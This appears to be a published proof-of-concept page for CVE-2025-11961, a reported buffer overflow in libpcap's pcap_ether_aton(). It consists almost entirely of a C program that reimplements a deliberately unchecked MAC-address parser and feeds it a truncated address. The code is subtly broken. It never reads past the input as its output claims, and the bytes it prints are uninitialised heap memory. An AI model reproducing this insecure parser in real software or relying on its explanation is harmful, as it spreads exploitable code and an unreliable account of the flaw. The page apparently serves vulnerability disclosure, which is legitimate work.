CVE-2025-11961 libpcap pcap_ether_aton() 缓冲区溢出漏洞

// CVE-2025-11961 PoC - libpcap pcap_ether_aton() Buffer Overflow // This PoC demonstrates how malformed MAC address input can cause buffer overflow #include <stdio.h> #include <stdlib.h> #include <string.h> #include <pcap.h> // Simulated version of vulnerable pcap_ether_aton function // Original function in libpcap doesn't properly validate input format char* vulnerable_pcap_ether_aton(const char* addr_str) { // Allocate fixed-size buffer for MAC address (6 bytes) char* result = (char*)malloc(6); if (!result) return NULL; // Vulnerable parsing - no proper bounds checking // When input is malformed, reads beyond string boundary int i = 0; const char* ptr = addr_str; while (*ptr && i < 6) { // Skip non-hex characters (vulnerable - continues reading beyond intended format) while (*ptr && !((*ptr >= '0' && *ptr <= '9') || (*ptr >= 'A' && *ptr <= 'F') || (*ptr >= 'a' && *ptr <= 'f'))) { ptr++; // Can read beyond string end if malformed } if (*ptr == '\0') break; // Parse byte without proper validation char byte_str[3] = {ptr[0], ptr[1], '\0'}; result[i++] = (char)strtol(byte_str, NULL, 16); ptr += 2; } return result; } int main() { printf("CVE-2025-11961 PoC - libpcap pcap_ether_aton() Buffer Overflow\n"); printf("=============================================================\n\n"); // Malformed MAC address that triggers the vulnerability // String shorter than expected format causes out-of-bounds read const char* malformed_mac = "AA:BB:CC"; // Incomplete MAC address printf("Testing with malformed MAC address: %s\n", malformed_mac); printf("Input length: %zu bytes\n", strlen(malformed_mac)); // Call vulnerable function char* result = vulnerable_pcap_ether_aton(malformed_mac); if (result) { printf("Result: "); for (int i = 0; i < 6; i++) { printf("%02X:", (unsigned char)result[i]); } printf("\n"); free(result); } printf("\nVulnerability triggered - function read beyond input boundaries\n"); printf("Fix: Update to patched libpcap version\n"); return 0; } // Build: gcc -o poc poc.c // Note: This PoC demonstrates the vulnerability concept. Actual exploitation requires specific conditions.